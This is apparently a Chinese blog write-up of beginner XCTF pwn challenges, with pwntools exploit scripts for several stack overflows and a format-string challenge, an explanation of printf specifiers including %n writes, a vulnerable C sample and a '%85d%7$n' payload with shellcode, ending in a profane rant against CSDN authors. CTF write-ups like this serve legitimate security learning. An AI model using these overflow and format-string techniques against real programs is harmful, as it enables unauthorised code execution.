0 Preview

这篇文章前部分可以跳过,都是很简单的栈溢出,没啥新知识。后面有一道格式化字符漏洞。
直达目录 5 :格式化字符串漏洞

推荐去ctf wiki 看更详细的介绍。
https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/

国庆节,想出去玩,但更想成为pwn👴,所以这七天计划刷一刷 xctf 和 buu 的pwn题。
一个不落下,都记录一下,省的之后又忘了。
在开始之前,先解决一下上一篇 pwn 中本地打不通远程能打通的问题。

1 ubuntu 16 和 18

准确的说是libc2.27的一个坑。
更加详细的可以看这篇文章:http://homura.cc/blog/archives/168

do_system+1094处,有一句movaps指令,一开始并不能理解为什么这条指令会段错误,因为操作数都是合法的地址,后来经过plusls提醒,movaps指令是要求操作数必须16字节对齐,否则就会触发异常。
因为x64的调用约定中,大部分情况下默认是16字节对齐的,gcc编译时分配数组是也会进行16字节对齐,但是栈溢出后我们破坏掉了这个对齐,导致了这个错误,解决方法就是多加一条ret,让rsp+8,对齐16字节即可。

2 get_shell

xctf签到题,连上就有shell,直接cat flag。
你问我为啥连这个都写?
我也不知道啊,不做一下怎么知道这么简单。

1
2
BASH
nc -nvv 111.200.241.244 60761

image-20211001142951263

3 hello_pwn

很简单的一个栈溢出,甚至不需要覆盖函数返回地址。
只需要溢出到下一个变量,让下一个变量等于一个固定值即可。

image-20211001143538978![image-

image-20211001145017840

注意一下,要填充的是 0x601068 — 0x60106C 不是6B

3.1 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PYTHON
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
shangu = 1

def main():
if shangu == 1:
io = remote("111.200.241.244",59732)
else:
io = process('hello_pwn')

payload = 'a' * (0x6C-0x68) + p64(0x6E756161)

io.recvline()
io.sendline(payload)
io.interactive()

main()

image-20211001144821288

4 level0

比昨天的更简单,只需要溢出一个返回地址就行。
image-20211001153203461

这里的 “ /bin/sh ”不是字符串,而是一个函数的参数,我们直接调用这个函数地址即可。

4.1 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PYTHON
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
shangu = 1

def main():
if shangu == 1:
io = remote("111.200.241.244",62075)
else:
io = process('level0')
elf = ELF('level0')
sys_adr = elf.symbols["callsystem"
payload = 'a'* 0x88 + p64(sys_adr)

io.recvline()
io.sendline(payload)
io.interactive()

main()

image-20211001153538374

5-string

5.1-格式化字符漏洞

image-20211001173454719

1
2
3
C
printf("name:%s,num:%d",a); //这是正常情况下的printf函数,里面的%d就是格式化字符
printf(a); //这样书写就存在格式化字符漏洞。

简单的解释就是,printf 函数会默认读取 “ name:%s,num:%d ” 作为格式化字符串。如果里面没有%的话就正常输出。如果里面含有 % 那就按照对应的格式去后面寻找参数。

%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i表示要泄漏偏移处字节长的进制数据,x表示要泄漏偏移i处4字节长的16进制数据,lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10表示将写入偏移处保存的指针所指向的地址(字节),而n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而hn表示写入的地址空间为2字节,%表示写入的地址空间为字节,hhn表示写入的地址空间为1字节,lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%或hn或hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

更巧的是即便后面的参数不够,他也能继续输出。这就给了我们利用的漏洞。
举一个简单的例子:
执行指令编译以下代码,如果编译报错,说明你的gcc不是完整的,不支持编译32位程序,执行下面的指令安装gcc插件。

1
2
3
4
5
6
7
8
9
10
11
12
13
BASH
gcc -m32 -fno-stack-protector -no-pie -o fs1 string.c
sudo apt-get install gcc-multilib
C
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}

gdb调试一下就会发现,他会继续输出栈的信息。

image-20211001194419712

这样我们就可以利用 “ %n ” 这个格式化字符对栈进行修改。

在开始的时候,我们是已知存放 a1 地址的,也就是程序最早输出的位置。
我们只需要计算出输出信息在栈中的偏移量,就可以对栈进行精准制导了。
如果还不理解原理的话,回头仔细看看 %n 的作用。

image-20211001203033509

我直接手动测试 a1 位置,输入十个 “ %p_ ”,在结果里找一下这俩:

secret[0] is 604260
secret[1] is 604264

测试指令:给v2赋值1,这样好找,然后输入大量 %p

image-20211001203258635

数一下一共六个数据,实际上就是那六个寄存器。偏移量就是 “ 7 ”。
知道偏移量以后,就可以直接在 v2 中输入要修改数据的地址。然后利用 %n 进行修改。
payload大概就长这样:

1
2
3
PYTHON
v2 = str(604260)
payload = %85d%7$n

5.2 exp

image-20211001213115210

这里把 v1 写成了带参函数,我们直接可以用pwntools自带的shellcode打进去。

这个是打通见到巨龙没有武器的这一关的exp,下一关需要用到shellcode。
只需要在这个exp后面加上一句:sendpayload就行。这里我给注释掉了、

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PYTHON
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
shangu = 0

def main():
if shangu == 1:
io = remote("",)
else:
io = process("sss")


io.recvuntil("secret[0] is ")
a1_adr = int(io.recvuntil("\n"),16) #604260
io.sendlineafter("What should your character's name be:\n","shangu")
io.sendlineafter("So, where you will go?east or up?:\n","east")
io.sendlineafter("go into there(1), or leave(0)?:\n","1")
io.sendlineafter("'Give me an address'\n",str(a1_adr))

payload = asm(shellcraft.sh())

io.sendlineafter("And, you wish is:\n","%85d%7$n")
#io.sendline(payload) //彻底打通需要把注释去掉
io.interactive()

main()

image-20211001212842291

6 👴的bb赖赖

今天从下午四点搞这个格式化字符串漏洞,搞到九点半。
不是👴智商不够,是👴一直在 造粪机(俗称CSDN)上找文章看。
👴就想喷一喷,写个文章连他👩的代码块都不会用,代码跟✔️8️⃣注释搅在一起,缩进乱七八糟。还喜欢偷别人文章发自己 造粪机 里,还他🐴收费,你收你🐴呢。
提前赚棺材本?

👴以后身边要是有这种活体造粪机,👴见一次👊一次。

祝大家国庆节快乐!
祝我的祖国生日快乐!

luoxiaosucai_bigimg_73278950b1e46c772738d90be5a6f1b7_00001